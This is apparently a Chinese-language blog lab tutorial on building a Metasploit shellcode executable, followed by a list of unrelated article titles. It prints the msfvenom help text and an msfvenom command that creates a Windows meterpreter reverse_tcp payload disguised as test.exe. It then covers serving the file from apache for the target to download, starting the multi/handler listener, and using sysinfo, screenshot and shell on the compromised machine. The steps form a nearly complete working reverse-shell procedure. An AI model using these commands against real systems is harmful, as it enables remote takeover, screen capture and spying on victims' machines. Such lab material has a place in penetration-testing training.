• 4.1 MSF 制作shellcode,且运行


    目录

    一、实验清单

    二、实验思路

    三、实验步骤

    1、在控制台中,使用“msfvenom -h”命令可以查看msfvenom的相关命令

    2、制作shellcode

     3、监听与处理


    一、实验清单

    实验所需清单
    类型序号软硬件要求规格
    攻击机1数量1台
    2操作系统版本kali
    3软件版本metasploit
    靶机1数量1台
    2操作系统版本windows xp
    3软件版本

    二、实验思路

            通过MSF中的msfvenom制作shellcode,在靶机上运行该shellcode,在metasploit console中使用multi/handler模块启动监听器。

    三、实验步骤

    1、在控制台中,使用“msfvenom -h”命令可以查看msfvenom的相关命令

    1. root@kali:~# msfvenom -h
    2. MsfVenom - a Metasploit standalone payload generator.
    3. Also a replacement for msfpayload and msfencode.
    4. Usage: /usr/bin/msfvenom [options]
    5. Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST= -f exe -o payload.exe
    6. Options:
    7. -l, --list List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
    8. -p, --payload Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
    9. --list-options List --payload 's standard, advanced and evasion options
    10. -f, --format Output format (use --list formats to list)
    11. -e, --encoder The encoder to use (use --list encoders to list)
    12. --service-name The service name to use when generating a service binary
    13. --sec-name The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
    14. --smallest Generate the smallest possible payload using all available encoders
    15. --encrypt The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
    16. --encrypt-key A key to be used for --encrypt
    17. --encrypt-iv An initialization vector for --encrypt
    18. -a, --arch The architecture to use for --payload and --encoders (use --list archs to list)
    19. --platform The platform for --payload (use --list platforms to list)
    20. -o, --out Save the payload to a file
    21. -b, --bad-chars Characters to avoid example: '\x00\xff'
    22. -n, --nopsled Prepend a nopsled of [length] size on to the payload
    23. --pad-nops Use nopsled size specified by -n as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
    24. -s, --space The maximum size of the resulting payload
    25. --encoder-space The maximum size of the encoded payload (defaults to the -s value)
    26. -i, --iterations The number of times to encode the payload
    27. -c, --add-code Specify an additional win32 shellcode file to include
    28. -x, --template Specify a custom executable file to use as a template
    29. -k, --keep Preserve the --template behaviour and inject the payload as a new thread
    30. -v, --var-name Specify a custom variable name to use for certain output formats
    31. -t, --timeout The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
    32. -h, --help Show this message

            其中,常用的参数有:

    1. -a 操作系统架构
    2. -e 对生成的shellcode进行编码
    3. -i 编码次数
    4. -platform 操作系统类型
    5. -p 设置payload,也就是决定你制作的是哪种shellcode,是反弹shell?还是仅仅在靶机命令行窗口运行一条指令...
    6. -f shellcode的输出格式(如exe文件...)
    7. -o shellcode的输出路径(也就是shellcode保存在哪儿)
    8. Lhost(listen host) 本机IP
    9. Lport( listen port) 本机用于监听的端口

    2、制作shellcode

    1. root@kali:~# msfvenom -a x86 --platform wimdows -p windows/meterpreter/reverse_tcp LHOST=192.168.92.129 LPORT=4444 -f exe -o /var/www/html/test.exe
    2. [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
    3. No encoder specified, outputting raw payload
    4. Payload size: 354 bytes
    5. Final size of exe file: 73802 bytes
    6. Saved as: /var/www/html/test.exe

          本实验制作的shellcode保存在“/var/www/html/test.exe”路径下,然后使用“service apache2 start”命令开启kali上自带的apache。之后,在靶机浏览器上输入“192.168.92.129/test.exe”,将test.exe文件下载到靶机上。

     3、监听与处理

            在kali上打开msf,并输入以下命令:

    1. use exploit/multi/handler 载入multi/handler模块
    2. set payload windows/meterpreter/reverse_tcp 设置payload
    3. set LHOST 192.168.92.129
    4. set LPORT 4444
    5. run

            在靶机上运行test.exe文件。此时,msf console会变成:

    meterpreter >

            使用“sysinfo”命令,可以查看靶机信息:

            “screenshot”命令,可以截取当前靶机的屏幕:

             “shell”命令,则可以在kali上运行靶机的命令行:

     

     

  • 相关阅读:
    UE4 C++设计模式:策略模式(Strategy Pattern)
    【毕设必备】手把手带你用Python搭建一个简单的后端服务- API的创建,前后端交互的数据传递,GET,POST,JSON,FLASK
    Leetcode 33 搜索旋转排序数组
    大数据毕设选题 - 招聘岗位数据分析可视化(python 爬虫)
    HTML+CSS+JS网页设计期末课程大作业 web前端开发技术 web课程设计 html网页规划与设计
    js浮点数精度问题详解
    React事件机制
    【网络协议】 TCP与UDP协议区别及应用场景深度分析
    【python入门篇】条件表达式、循环(5)
    golang版本管理gvm
  • 原文地址:https://blog.csdn.net/qq_55202378/article/details/126516851